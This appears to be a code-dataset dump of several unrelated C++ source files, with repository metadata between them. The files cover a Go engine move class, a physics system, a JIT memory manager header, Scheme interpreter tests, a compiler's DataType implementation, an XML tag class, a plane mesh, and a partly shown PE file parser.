2d9e5de236720bc7b8efb91dceb232bb0a3f6f78 | 316 | cpp | C++ | engine/gtp/Move.cpp | imalerich/imgo | 1dc999b62d95b74dd992fd1daf1cb0d974bba8a7 | [
"MIT"
] | null | null | null | engine/gtp/Move.cpp | imalerich/imgo | 1dc999b62d95b74dd992fd1daf1cb0d974bba8a7 | [
"MIT"
] | null | null | null | engine/gtp/Move.cpp | imalerich/imgo | 1dc999b62d95b74dd992fd1daf1cb0d974bba8a7 | [
"MIT"
] | null | null | null | #include "Move.hpp"
namespace gtp {
ArgMove::ArgMove(std::string color, std::string vertex) {
iArgument::type = ARG_MOVE;
this->color = Color(color);
this->vertex = Vertex(vertex);
}
ArgMove::ArgMove(Color color, Vertex vertex) {
iArgument::type = ARG_MOVE;
this->color = color;
this->vertex = vertex;
}
}
| 17.555556 | 57 | 0.689873 | imalerich |
2da7120f1e231f9f4eb9610c14a9a4e1c579edcc | 1,874 | cpp | C++ | src/Nazara/Physics3D/Systems/Physics3DSystem.cpp | jayrulez/NazaraEngine | e0310cd141f3cc11dbe8abfd5bfedf6b61de1a99 | [
"BSD-3-Clause-Clear",
"Apache-2.0",
"MIT"
] | 11 | 2019-11-27T00:40:43.000Z | 2020-01-29T14:31:52.000Z | src/Nazara/Physics3D/Systems/Physics3DSystem.cpp | jayrulez/NazaraEngine | e0310cd141f3cc11dbe8abfd5bfedf6b61de1a99 | [
"BSD-3-Clause-Clear",
"Apache-2.0",
"MIT"
] | 7 | 2019-11-27T00:29:08.000Z | 2020-01-08T18:53:39.000Z | src/Nazara/Physics3D/Systems/Physics3DSystem.cpp | jayrulez/NazaraEngine | e0310cd141f3cc11dbe8abfd5bfedf6b61de1a99 | [
"BSD-3-Clause-Clear",
"Apache-2.0",
"MIT"
] | 7 | 2019-11-27T10:27:40.000Z | 2020-01-15T17:43:33.000Z | // Copyright (C) 2022 Jérôme "Lynix" Leclercq (lynix680@gmail.com)
// This file is part of the "Nazara Engine - Physics3D module"
// For conditions of distribution and use, see copyright notice in Config.hpp
#include <Nazara/Physics3D/Systems/Physics3DSystem.hpp>
#include <Nazara/Utility/Components/NodeComponent.hpp>
#include <Nazara/Physics3D/Debug.hpp>
namespace Nz
{
Physics3DSystem::Physics3DSystem(entt::registry& registry) :
m_registry(registry)
{
m_constructConnection = registry.on_construct<RigidBody3DComponent>().connect<OnConstruct>();
}
Physics3DSystem::~Physics3DSystem()
{
// Ensure every NewtonBody is destroyed before world is
auto rigidBodyView = m_registry.view<RigidBody3DComponent>();
for (auto [entity, rigidBodyComponent] : rigidBodyView.each())
rigidBodyComponent.Destroy();
m_constructConnection.release();
}
void Physics3DSystem::Update(entt::registry& registry, float elapsedTime)
{
m_physWorld.Step(elapsedTime);
// Replicate rigid body position to their node components
auto view = registry.view<NodeComponent, const RigidBody3DComponent>();
for (auto [entity, nodeComponent, rigidBodyComponent] : view.each())
{
if (rigidBodyComponent.IsSleeping())
continue;
nodeComponent.SetPosition(rigidBodyComponent.GetPosition(), CoordSys::Global);
nodeComponent.SetRotation(rigidBodyComponent.GetRotation(), CoordSys::Global);
}
}
void Physics3DSystem::OnConstruct(entt::registry& registry, entt::entity entity)
{
// If our entity already has a node component when adding a rigid body, initialize it with its position/rotation
NodeComponent* node = registry.try_get<NodeComponent>(entity);
if (node)
{
RigidBody3DComponent& rigidBody = registry.get<RigidBody3DComponent>(entity);
rigidBody.SetPosition(node->GetPosition());
rigidBody.SetRotation(node->GetRotation());
}
}
}
| 34.072727 | 114 | 0.763074 | jayrulez |
2da762afeda7e9876d6ccb0b26502ca6740d16df | 3,491 | hpp | C++ | measurer/hotspot-measurer/hotspot/src/share/vm/shark/sharkMemoryManager.hpp | armoredsoftware/protocol | e3b0c1df8bc1027865caec6d117e5925f71f26d2 | [
"BSD-3-Clause"
] | 184 | 2015-01-04T03:38:20.000Z | 2022-03-30T05:47:21.000Z | measurer/hotspot-measurer/hotspot/src/share/vm/shark/sharkMemoryManager.hpp | armoredsoftware/protocol | e3b0c1df8bc1027865caec6d117e5925f71f26d2 | [
"BSD-3-Clause"
] | 1 | 2016-01-17T09:18:17.000Z | 2016-01-17T09:18:17.000Z | measurer/hotspot-measurer/hotspot/src/share/vm/shark/sharkMemoryManager.hpp | armoredsoftware/protocol | e3b0c1df8bc1027865caec6d117e5925f71f26d2 | [
"BSD-3-Clause"
] | 101 | 2015-01-16T23:46:31.000Z | 2022-03-30T05:47:06.000Z | /*
* Copyright (c) 1999, 2010, Oracle and/or its affiliates. All rights reserved.
* Copyright 2009 Red Hat, Inc.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*
*/
#ifndef SHARE_VM_SHARK_SHARKMEMORYMANAGER_HPP
#define SHARE_VM_SHARK_SHARKMEMORYMANAGER_HPP
#include "shark/llvmHeaders.hpp"
#include "shark/sharkEntry.hpp"
// SharkMemoryManager wraps the LLVM JIT Memory Manager. We could use
// this to run our own memory allocation policies, but for now all we
// use it for is figuring out where the resulting native code ended up.
class SharkMemoryManager : public llvm::JITMemoryManager {
public:
SharkMemoryManager()
: _mm(llvm::JITMemoryManager::CreateDefaultMemManager()) {}
private:
llvm::JITMemoryManager* _mm;
private:
llvm::JITMemoryManager* mm() const {
return _mm;
}
private:
std::map<const llvm::Function*, SharkEntry*> _entry_map;
public:
void set_entry_for_function(const llvm::Function* function,
SharkEntry* entry) {
_entry_map[function] = entry;
}
SharkEntry* get_entry_for_function(const llvm::Function* function) {
return _entry_map[function];
}
public:
void AllocateGOT();
unsigned char* getGOTBase() const;
unsigned char* allocateStub(const llvm::GlobalValue* F,
unsigned StubSize,
unsigned Alignment);
unsigned char* startFunctionBody(const llvm::Function* F,
uintptr_t& ActualSize);
void endFunctionBody(const llvm::Function* F,
unsigned char* FunctionStart,
unsigned char* FunctionEnd);
unsigned char* startExceptionTable(const llvm::Function* F,
uintptr_t& ActualSize);
void endExceptionTable(const llvm::Function* F,
unsigned char* TableStart,
unsigned char* TableEnd,
unsigned char* FrameRegister);
#if SHARK_LLVM_VERSION < 27
void* getDlsymTable() const;
void SetDlsymTable(void *ptr);
#endif
void setPoisonMemory(bool);
uint8_t* allocateGlobal(uintptr_t, unsigned int);
void setMemoryWritable();
void setMemoryExecutable();
#if SHARK_LLVM_VERSION >= 27
void deallocateExceptionTable(void *ptr);
void deallocateFunctionBody(void *ptr);
#else
void deallocateMemForFunction(const llvm::Function* F);
#endif
unsigned char *allocateSpace(intptr_t Size,
unsigned int Alignment);
};
#endif // SHARE_VM_SHARK_SHARKMEMORYMANAGER_HPP
| 35.989691 | 79 | 0.689774 | armoredsoftware |
2da85679ccacda2a91a386f0117749e402e5354a | 3,196 | cpp | C++ | tests/runtime_tests/EvaluatorSymbolTests.cpp | smacdo/Shiny | 580f8bb240b3ece72d7181288bacaba5ecd7071e | [
"Apache-2.0"
] | null | null | null | tests/runtime_tests/EvaluatorSymbolTests.cpp | smacdo/Shiny | 580f8bb240b3ece72d7181288bacaba5ecd7071e | [
"Apache-2.0"
] | null | null | null | tests/runtime_tests/EvaluatorSymbolTests.cpp | smacdo/Shiny | 580f8bb240b3ece72d7181288bacaba5ecd7071e | [
"Apache-2.0"
] | null | null | null | #include "support/EvaluatorFixture.h"
#include "runtime/Evaluator.h"
#include "runtime/RuntimeApi.h"
#include "runtime/Value.h"
#include "runtime/VmState.h"
#include "support/TestHelpers.h"
#include <catch2/catch.hpp>
using namespace Shiny;
TEST_CASE_METHOD(EvaluatorFixture, "Is symbol", "[Procedures]") {
SECTION("true for symbols") {
REQUIRE(Value::True == evaluate("(symbol? 'foo)"));
REQUIRE(Value::True == evaluate("(symbol? (car '(a b)))"));
REQUIRE(Value::True == evaluate("(symbol? 'nil)"));
}
SECTION("false for other types") {
REQUIRE(Value::False == evaluate("(symbol? \"bar\")"));
REQUIRE(Value::False == evaluate("(symbol? '())"));
REQUIRE(Value::False == evaluate("(symbol? #f)"));
REQUIRE(Value::False == evaluate("(symbol? 0)"));
REQUIRE(Value::False == evaluate("(symbol? '(1 2))"));
REQUIRE(Value::False == evaluate("(symbol? #\\0)"));
}
SECTION("error if wrong argument count") {
auto fn1 = [this]() { evaluate("(symbol?)"); };
REQUIRE_THROWS_AS(fn1(), ArgumentMissingException);
auto fn2 = [this]() { evaluate("(symbol? 'foo 'bar)"); };
REQUIRE_THROWS_AS(fn2(), ArgCountMismatch);
}
}
TEST_CASE_METHOD(EvaluatorFixture, "Symbol to string", "[Procedures]") {
SECTION("returns name") {
REQUIRE(
"\"flying-fish\"" ==
evaluate("(symbol->string 'flying-fish)").toString());
REQUIRE("\"Martin\"" == evaluate("(symbol->string 'Martin)").toString());
REQUIRE("\"foo\"" == evaluate("(symbol->string 'foo)").toString());
}
SECTION("error if not a symbol") {
auto fn1 = [this]() { evaluate("(symbol->string \"foo\")"); };
REQUIRE_THROWS_AS(fn1(), WrongArgTypeException);
auto fn2 = [this]() { evaluate("(symbol->string #t)"); };
REQUIRE_THROWS_AS(fn2(), WrongArgTypeException);
}
SECTION("error if wrong argument count") {
auto fn1 = [this]() { evaluate("(symbol->string)"); };
REQUIRE_THROWS_AS(fn1(), ArgumentMissingException);
auto fn2 = [this]() { evaluate("(symbol->string 'foo 'bar)"); };
REQUIRE_THROWS_AS(fn2(), ArgCountMismatch);
}
}
TEST_CASE_METHOD(EvaluatorFixture, "String to symbol", "[Procedures]") {
SECTION("returns symbol") {
auto v = evaluate("(string->symbol \"foo\")");
REQUIRE(ValueType::Symbol == v.type());
REQUIRE("foo" == v.toStringView());
v = evaluate("(string->symbol \"flying-fish\")");
REQUIRE(ValueType::Symbol == v.type());
REQUIRE("flying-fish" == v.toStringView());
v = evaluate("(string->symbol \"Marvin\")");
REQUIRE(ValueType::Symbol == v.type());
REQUIRE("Marvin" == v.toStringView());
}
SECTION("error if not a string") {
auto fn1 = [this]() { evaluate("(string->symbol 'foo)"); };
REQUIRE_THROWS_AS(fn1(), WrongArgTypeException);
auto fn2 = [this]() { evaluate("(string->symbol #t)"); };
REQUIRE_THROWS_AS(fn2(), WrongArgTypeException);
}
SECTION("error if wrong argument count") {
auto fn1 = [this]() { evaluate("(string->symbol)"); };
REQUIRE_THROWS_AS(fn1(), ArgumentMissingException);
auto fn2 = [this]() { evaluate("(string->symbol \"foo\" \"bar\")"); };
REQUIRE_THROWS_AS(fn2(), ArgCountMismatch);
}
}
| 32.948454 | 77 | 0.622653 | smacdo |
2daa4653b63c29e83b8580adac1839f1f968bc6c | 15,714 | cpp | C++ | util/DataType.cpp | rlannon/SINx86 | b94b5bbcc516cd2fa17c7093e4c6e0f391265063 | [
"MIT"
] | null | null | null | util/DataType.cpp | rlannon/SINx86 | b94b5bbcc516cd2fa17c7093e4c6e0f391265063 | [
"MIT"
] | 16 | 2020-01-10T16:46:02.000Z | 2021-04-11T22:35:01.000Z | util/DataType.cpp | rlannon/SINx86 | b94b5bbcc516cd2fa17c7093e4c6e0f391265063 | [
"MIT"
] | null | null | null | /*
SIN Toolchain
DataType.cpp
Copyright 2019 Riley Lannon
Implementation of the DataType class
*/
#include "DataType.h"
void DataType::set_width() {
/*
set_width
Sets the width of the DataType object based on its type and qualities
Note that this function will not set the type width to PTR_WIDTH for dynamic types; it will use the regular width, and the compiler will adjust for dynamic types where needed.
*/
// All other types have different widths
if (this->primary == INT) {
// ints are usually 4 bytes wide (32-bit), but can be 2 bytes for a short or 8 for a long
if (this->qualities.is_long()) {
this->width = sin_widths::LONG_WIDTH;
} else if (this->qualities.is_short()) {
this->width = sin_widths::SHORT_WIDTH;
} else {
this->width = sin_widths::INT_WIDTH;
}
} else if (this->primary == FLOAT) {
// floats can also use the long and short keywords -- a long float is the same as a double, a short float is the same as a half
if (this->qualities.is_long()) {
this->width = sin_widths::DOUBLE_WIDTH;
} else if (this->qualities.is_short()) {
this->width = sin_widths::HALF_WIDTH; // line number information, for the time being, will be caught wherever this type is used
half_precision_not_supported_warning(0);
} else {
this->width = sin_widths::FLOAT_WIDTH;
}
} else if (this->primary == BOOL) {
// bools are only a byte wide
this->width = sin_widths::BOOL_WIDTH;
} else if (this->primary == PTR || this->primary == REFERENCE) {
// because we are compiling to x86_64, pointers and references should be 64-bit
this->width = sin_widths::PTR_WIDTH;
} else if (this->primary == STRING) {
// since strings are all implemented as pointers, they have widths of 8 bytes
// (they always point to dynamic memory, but syntactically don't behave like pointers)
this->width = sin_widths::PTR_WIDTH;
} else if (this->primary == CHAR) {
// todo: determine whether it is ASCII or UTF-8
this->width = sin_widths::CHAR_WIDTH;
} else if (this->primary == TUPLE) {
// tuple widths are known at compile time -- it is the sum of the widths of each of their contained types
// however, if they contain a struct or an array, we must defer the width evaluation until we have a struct table
this->width = 0;
auto it = this->contained_types.begin();
bool defer_width = false;
while (it != this->contained_types.end() && !defer_width) {
if (it->get_width() == 0) { // types with unknown lengths have a width of 0
this->width = 0;
defer_width = true;
}
else {
this->width += it->get_width();
}
it++;
}
}
else {
/*
Everything else should use 0:
void - a void type is literally nothing
array - do not have defined widths, it depends on the array and its subtype
struct - require the compiler to look for the width in the struct table
While it is possible to calculate the width of arrays and structs if all of that information is known at compile time, it is possible that a struct member would only be known to the compiler through the "decl" keyword, in which case it would be impossible to know the width when the allocation was occurring.
*/
this->width = 0;
}
}
void DataType::set_must_free() {
/*
set_must_free
Sets the _must_free member, indicating whether this data type must be freed
Note this will add array or tuple types if a contained type must be freed.
This will be handled by the compiler.
*/
if (
(
this->primary == PTR &&
this->qualities.is_managed()
) ||
this->is_reference_type()
) {
this->_must_free = true;
}
else if (this->primary == ARRAY) {
if (
(
this->get_subtype().primary == PTR &&
this->get_subtype().qualities.is_managed()
) ||
this->get_subtype().is_reference_type()
) {
this->_must_free = true;
}
}
else if (this->primary == TUPLE) {
bool _free_contained = false;
auto it = this->contained_types.begin();
while (it != this->contained_types.end() && !_free_contained) {
if (
(it->primary == PTR && it->qualities.is_managed()) || it->is_reference_type())
_free_contained = true;
else {
it++;
}
}
this->_must_free = _free_contained;
}
else {
this->_must_free = false;
}
return;
}
/*
We can use the overloaded operators to do any of the following:
- See if two DataType objects are equal
- See if DataType is equal to {Type, Type}
- See if DataType is equal to Type
*/
DataType& DataType::operator=(const DataType &right)
{
// Copy assignment operator
if (this != &right) {
this->primary = right.primary;
this->contained_types = right.contained_types;
this->qualities = right.qualities;
this->array_length = right.array_length;
this->struct_name = right.struct_name;
this->width = right.width;
this->array_length_expression = right.array_length_expression;
}
this->set_must_free();
return *this;
}
bool DataType::operator==(const DataType& right) const
{
bool primary_match = this->primary == right.primary;
bool subtype_match = true;
if (!this->contained_types.empty() && !right.contained_types.empty()) {
subtype_match = this->contained_types == right.contained_types;
}
else
subtype_match = this->contained_types == right.contained_types;
bool qualities_match = this->qualities == right.qualities;
return primary_match && subtype_match && qualities_match;
}
bool DataType::operator!=(const DataType& right) const
{
return !this->operator==(right);
}
bool DataType::operator==(const Type right) const
{
return this->primary == right;
}
bool DataType::operator!=(const Type right) const
{
return this->primary != right;
}
const bool DataType::is_valid_type_promotion(const symbol_qualities& left, const symbol_qualities& right) {
/*
is_valid_type_promotion
Ensures that type promotion rules are not broken
Essentially, the right-hand variability quality must be equal to or *lower* than the left-hand one in the hierarchy
See doc/Type Compatibility.md for information on type promotion
*/
if (left.is_const()) {
return true; // a const left-hand side will always promote the right-hand expression
}
else if (left.is_final()) {
return !right.is_const(); // a const right-hand argument cannot be demoted
}
else {
return !(right.is_const() || right.is_final()); // the right-hand argument cannot be demoted
}
}
bool DataType::is_compatible(DataType to_compare) const
{
/*
Compares 'this' with 'to_compare' as if 'this' was the left-hand operand and 'to_compare' was the right-hand.
Types are compatible if one of the following is true:
- if pointer or array type:
- subtypes are compatible
- one of the subtypes is RAW
- else,
- left OR right is RAW
- if reference:
- the subtype is compatible with to_compare
- primaries are equal
- primaries are string and char
*/
bool compatible = false;
if (this->primary == RAW || to_compare.get_primary() == RAW) {
compatible = true;
}
else if (this->primary == PTR && to_compare.get_primary() == PTR) {
// call is_compatible on the subtypes and ensure the type promotion is legal
if (!this->contained_types.empty() && !to_compare.contained_types.empty()) {
compatible = this->get_subtype().is_compatible(
to_compare.get_subtype()
) && is_valid_type_promotion(this->get_subtype().qualities, to_compare.get_subtype().qualities);
} else {
throw CompilerException("Expected subtype", 0, 0); // todo: ptr and array should _always_ have subtypes
}
}
else if (this->primary == REFERENCE) {
// if we have a reference type, compare the reference subtype to to_compare
compatible = this->get_subtype().is_compatible(to_compare);
}
else if (to_compare.get_primary() == REFERENCE) {
compatible = this->is_compatible(to_compare.get_subtype());
}
else if (this->primary == ARRAY && to_compare.get_primary() == ARRAY) {
if (!this->contained_types.empty()) {
compatible = this->get_subtype().is_compatible(
to_compare.get_subtype()
);
}
else {
throw CompilerException("Expected subtype", 0, 0);
}
}
else if (this->primary == TUPLE && to_compare.get_primary() == TUPLE) {
// tuples must have the same number of elements, and in the same order, to be compatible
if (this->contained_types.size() == to_compare.contained_types.size()) {
compatible = true;
auto this_it = this->contained_types.begin();
auto comp_it = to_compare.contained_types.begin();
while (compatible && (this_it != this->contained_types.end()) && (comp_it != to_compare.contained_types.end())) {
if (this_it->is_compatible(*comp_it)) {
this_it++;
comp_it++;
}
else {
compatible = false;
}
}
}
}
else {
// primary types must be equal
// todo: generate warnings for width and sign differences
compatible = (
(this->primary == to_compare.primary) ||
(this->primary == STRING && to_compare.primary == CHAR)
);
}
return compatible;
}
Type DataType::get_primary() const
{
return this->primary;
}
const symbol_qualities& DataType::get_qualities() const {
return this->qualities;
}
symbol_qualities& DataType::get_qualities() {
return this->qualities;
}
size_t DataType::get_array_length() const {
return this->array_length;
}
std::string DataType::get_struct_name() const {
return this->struct_name;
}
const Expression *DataType::get_array_length_expression() const {
return this->array_length_expression.get();
}
DataType DataType::get_subtype() const {
DataType to_return(NONE);
if (!this->contained_types.empty()) {
to_return = this->contained_types[0];
}
return to_return;
}
const std::vector<DataType> &DataType::get_contained_types() const {
return this->contained_types;
}
std::vector<DataType> &DataType::get_contained_types() {
return this->contained_types;
}
bool DataType::has_subtype() const {
return !this->contained_types.empty();
}
void DataType::set_primary(Type new_primary) {
this->primary = new_primary;
}
void DataType::set_subtype(DataType new_subtype) {
if (!this->contained_types.empty()) {
this->contained_types[0] = new_subtype;
}
else {
this->contained_types.push_back(new_subtype);
}
}
void DataType::set_contained_types(std::vector<DataType> types_list) {
this->contained_types = types_list;
}
void DataType::set_array_length(size_t new_length) {
this->array_length = new_length;
}
void DataType::add_qualities(symbol_qualities to_add) {
// simply use the "SymbolQualities::add_qualities" function
this->qualities.add_qualities(to_add);
// update the width
this->set_width();
}
void DataType::add_quality(SymbolQuality to_add) {
// add a quality 'to_add' to the data type
this->qualities.add_quality(to_add);
// generate a compiler warning if the primary type doesn't support the quality (has no effect)
if (this->primary == PTR || this->primary == BOOL || this->primary == ARRAY || this->primary == STRING || this->primary == RAW) {
if (to_add == LONG || to_add == SHORT || to_add == SIGNED || to_add == UNSIGNED) {
compiler_note("Width and sign qualifiers have no effect for this type; as such, this quality will be ignored");
}
}
// update the width
this->set_width();
}
void DataType::set_struct_name(std::string name) {
// Sets the name of the struct
this->struct_name = name;
}
size_t DataType::get_width() const {
return this->width;
}
bool DataType::is_valid_type(const DataType &t) {
/*
is_valid_type
Checks to ensure the DataType object follows all of SIN's type rules
This used to check array lengths, but this check has been moved into the compiler.
This allows the compile-time evaluator to verify the array has a constexpr length (unless it's dynamic)
*/
bool is_valid = true;
if (t.primary == FLOAT) {
// half-precision or short floats are not supported
if (t.qualities.is_short()) {
is_valid = false;
}
}
else if (t.primary == STRING) {
// strings are not numerics and so may not be used with signed or unsigned qualifiers
if (t.qualities.has_sign_quality()) {
is_valid = false;
}
// they may also not use 'static' unless they are 'static const'; they are inherently dynamic
if (t.qualities.is_static() && !t.get_qualities().is_const()) {
is_valid = false;
}
}
else if (t.primary == STRUCT) {
// structs don't support numeric or width qualifiers
if (t.qualities.is_long() || t.qualities.is_short() || t.qualities.has_sign_quality()) {
is_valid = false;
}
}
else if (t.primary == REFERENCE)
{
return t.qualities.is_managed();
}
// todo: more type checks where needed
return is_valid;
}
bool DataType::is_reference_type() const {
/*
is_reference_type
Returns whether the type in question is a reference type
*/
return this->get_qualities().is_dynamic() || this->primary == STRING || this->primary == REFERENCE;
}
bool DataType::must_initialize() const {
/*
must_initialize
Determines whether the type must be initialized in its allocation
Check the documentation (specifically, docs/Construction.md) for the exact rules
*/
bool init_required = false;
init_required = this->get_qualities().is_const();
init_required = init_required || this->get_primary() == REFERENCE;
if (this->get_primary() == ARRAY) {
}
// todo: how to handle tuples?
return init_required;
}
bool DataType::must_free() const {
return this->_must_free;
}
DataType::DataType
(
Type primary,
DataType subtype,
symbol_qualities qualities,
std::shared_ptr<Expression> array_length_exp,
std::string struct_name
):
primary(primary),
qualities(qualities),
array_length_expression(array_length_exp),
struct_name(struct_name)
{
// create the vector with our subtype
// if we have a string type, set the subtype to CHAR
if (primary == STRING) {
subtype = DataType(CHAR);
}
this->contained_types.push_back(subtype);
// the array length will be evaluated by the compiler; start at 0
this->array_length = 0;
// if the type is int, set signed to true if it is not unsigned
if (primary == INT && !this->qualities.is_unsigned()) {
this->qualities.add_quality(SIGNED);
}
else if (primary == FLOAT)
{
this->qualities.add_quality(SIGNED);
}
// set the data width
this->set_width();
this->set_must_free();
}
DataType::DataType(Type primary, std::vector<DataType> contained_types, symbol_qualities qualities):
primary(primary),
contained_types(contained_types),
qualities(qualities)
{
// update the rest of our members
this->array_length = 0;
this->struct_name = "";
this->set_width();
this->set_must_free();
}
DataType::DataType(Type primary) :
DataType(
primary,
DataType(),
symbol_qualities(),
nullptr,
""
)
{
// The purpose of this constructor is to allow a Type to be converted into a DataType object
// no body needed (super called)
}
DataType::DataType(const DataType &ref) {
this->primary = ref.primary;
this->contained_types = ref.contained_types;
this->qualities = ref.qualities;
this->array_length = ref.array_length;
this->array_length_expression = ref.array_length_expression;
this->struct_name = ref.struct_name;
this->width = ref.width;
this->set_must_free();
}
DataType::DataType()
{
this->primary = NONE;
this->qualities = symbol_qualities(); // no qualities to start
this->array_length = 0;
this->width = 0;
this->struct_name = "";
this->array_length_expression = nullptr;
this->_must_free = false;
}
DataType::~DataType()
{
}
| 27.568421 | 310 | 0.689322 | rlannon |
2dabd1f93ff71ec3589d041f8f6095c65b185392 | 1,765 | cxx | C++ | main/shell/source/all/ooofilereader/simpletag.cxx | Grosskopf/openoffice | 93df6e8a695d5e3eac16f3ad5e9ade1b963ab8d7 | [
"Apache-2.0"
] | 679 | 2015-01-06T06:34:58.000Z | 2022-03-30T01:06:03.000Z | main/shell/source/all/ooofilereader/simpletag.cxx | Grosskopf/openoffice | 93df6e8a695d5e3eac16f3ad5e9ade1b963ab8d7 | [
"Apache-2.0"
] | 102 | 2017-11-07T08:51:31.000Z | 2022-03-17T12:13:49.000Z | main/shell/source/all/ooofilereader/simpletag.cxx | Grosskopf/openoffice | 93df6e8a695d5e3eac16f3ad5e9ade1b963ab8d7 | [
"Apache-2.0"
] | 331 | 2015-01-06T11:40:55.000Z | 2022-03-14T04:07:51.000Z | /**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
// MARKER(update_precomp.py): autogen include statement, do not remove
#include "precompiled_shell.hxx"
#include "simpletag.hxx"
/*********************** CSimpleTag ***********************/
void CSimpleTag::startTag()
{
m_SimpleContent = L"";
}
void CSimpleTag::endTag()
{
}
void CSimpleTag::addCharacters(const std::wstring& characters)
{
m_SimpleContent += characters;
}
void CSimpleTag::addAttributes(const XmlTagAttributes_t& attributes )
{
m_SimpleAttributes = attributes;
}
std::wstring CSimpleTag::getTagContent( )
{
return m_SimpleContent;
}
::std::wstring const CSimpleTag::getTagAttribute( ::std::wstring const & attrname )
{
if ( m_SimpleAttributes.find(attrname) != m_SimpleAttributes.end())
return m_SimpleAttributes[attrname];
else
return ( ::std::wstring( EMPTY_STRING ) );
}
| 28.467742 | 83 | 0.666289 | Grosskopf |
2dad1d80e2e2d05ab6e94b559d40438da7e0297a | 885 | cpp | C++ | src/ivf/plane.cpp | jonaslindemann/ivf2 | 67bee6c36b5824d045957ea2b223bc0595d59b47 | [
"MIT"
] | 1 | 2021-09-12T12:10:19.000Z | 2021-09-12T12:10:19.000Z | src/ivf/plane.cpp | jonaslindemann/ivf2 | 67bee6c36b5824d045957ea2b223bc0595d59b47 | [
"MIT"
] | null | null | null | src/ivf/plane.cpp | jonaslindemann/ivf2 | 67bee6c36b5824d045957ea2b223bc0595d59b47 | [
"MIT"
] | null | null | null | #include <ivf/plane.h>
#include <generator/PlaneMesh.hpp>
using namespace ivf;
using namespace generator;
Plane::Plane(double width, double depth, int rows, int cols)
:m_width(width),
m_depth(depth),
m_rows(rows),
m_cols(cols)
{
this->doSetup();
}
std::shared_ptr<Plane> Plane::create(double width, double depth, int rows, int cols)
{
return std::make_shared<Plane>(width, depth, rows, cols);
}
void Plane::set(double width, double depth, int rows, int cols)
{
m_width = width;
m_depth = depth;
m_rows = rows;
m_cols = cols;
this->refresh();
}
void Plane::doSetup()
{
PlaneMesh planeMesh(gml::dvec2(m_width, m_depth), gml::ivec2(m_rows, m_cols));
AnyGenerator<MeshVertex> vertices = planeMesh.vertices();
AnyGenerator<Triangle> triangles = planeMesh.triangles();
this->createFromGenerator(vertices, triangles);
}
| 21.071429 | 84 | 0.684746 | jonaslindemann |
2db05e592c573a07efaba293fa1b3fed85d2e1b5 | 38 | cpp | C++ | lander.cpp | nathan-tagg/skeet | ed3909ba63863c8120ddf290286fa6b2502a5874 | [
"MIT"
] | 1 | 2016-04-05T20:06:13.000Z | 2016-04-05T20:06:13.000Z | lander.cpp | nathan-tagg/skeet | ed3909ba63863c8120ddf290286fa6b2502a5874 | [
"MIT"
] | null | null | null | lander.cpp | nathan-tagg/skeet | ed3909ba63863c8120ddf290286fa6b2502a5874 | [
"MIT"
] | null | null | null | // lander bird //
#include "lander.h"
| 12.666667 | 19 | 0.631579 | nathan-tagg |
2db0b1b0f6bbfcd17425987bfa2da490ea3dd3f4 | 5,002 | cpp | C++ | RubbishDebugger/PortableExecutable.cpp | Woodykaixa/RubbishDebugger | 4d80163ef7a3350a0f57b026608365d0c9dc0218 | [
"MIT"
] | null | null | null | RubbishDebugger/PortableExecutable.cpp | Woodykaixa/RubbishDebugger | 4d80163ef7a3350a0f57b026608365d0c9dc0218 | [
"MIT"
] | null | null | null | RubbishDebugger/PortableExecutable.cpp | Woodykaixa/RubbishDebugger | 4d80163ef7a3350a0f57b026608365d0c9dc0218 | [
"MIT"
] | null | null | null | #include "PortableExecutable.h"
#include <exception>
#include "Misc.h"
PortableExecutable::PortableExecutable(const char* filename) {
_file = nullptr;
fopen_s(&_file, filename, "rb");
if (_file == nullptr) {
throw std::exception("Cannot open pe file");
}
fread(&DosHeader, sizeof IMAGE_DOS_HEADER, 1, _file);
if (DosHeader.e_magic != IMAGE_DOS_SIGNATURE) {
throw std::exception("Invalid Dos header");
}
fseek(_file, DosHeader.e_lfanew, SEEK_SET);
fread(&NtHeaders, sizeof IMAGE_NT_HEADERS, 1, _file);
if (NtHeaders.Signature != IMAGE_NT_SIGNATURE) {
throw std::exception("Invalid NT headers");
}
ImageBase = reinterpret_cast<void*>(NtHeaders.OptionalHeader.ImageBase);
EntryPoint = reinterpret_cast<void*>(NtHeaders.OptionalHeader.AddressOfEntryPoint
+ NtHeaders.OptionalHeader.ImageBase);
Is32Bit = NtHeaders.OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC;
_sections.resize(NtHeaders.FileHeader.NumberOfSections);
PdbPath = nullptr;
fread(&_sections[0], sizeof IMAGE_SECTION_HEADER, _sections.size(), _file);
// imports
auto const& importTable = NtHeaders.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
if (importTable.Size) {
fseek(_file, static_cast<long>(VirtualToRaw(importTable.VirtualAddress)), SEEK_SET);
for (;;) {
IMAGE_IMPORT_DESCRIPTOR import_desc;
fread(&import_desc, sizeof(IMAGE_IMPORT_DESCRIPTOR), 1, _file);
if (!import_desc.Characteristics) {
break;
}
_imports.emplace_back().Desc = import_desc;
}
}
for (auto& current_import : _imports) {
constexpr auto Size = 0x100;
char name_buf[Size];
fseek(_file, static_cast<long>(VirtualToRaw(current_import.Desc.Name)), SEEK_SET);
fgets(name_buf, Size, _file);
current_import.Name = name_buf;
// thunks
fseek(_file, static_cast<long>(VirtualToRaw(current_import.Desc.FirstThunk)), SEEK_SET);
for (;;) {
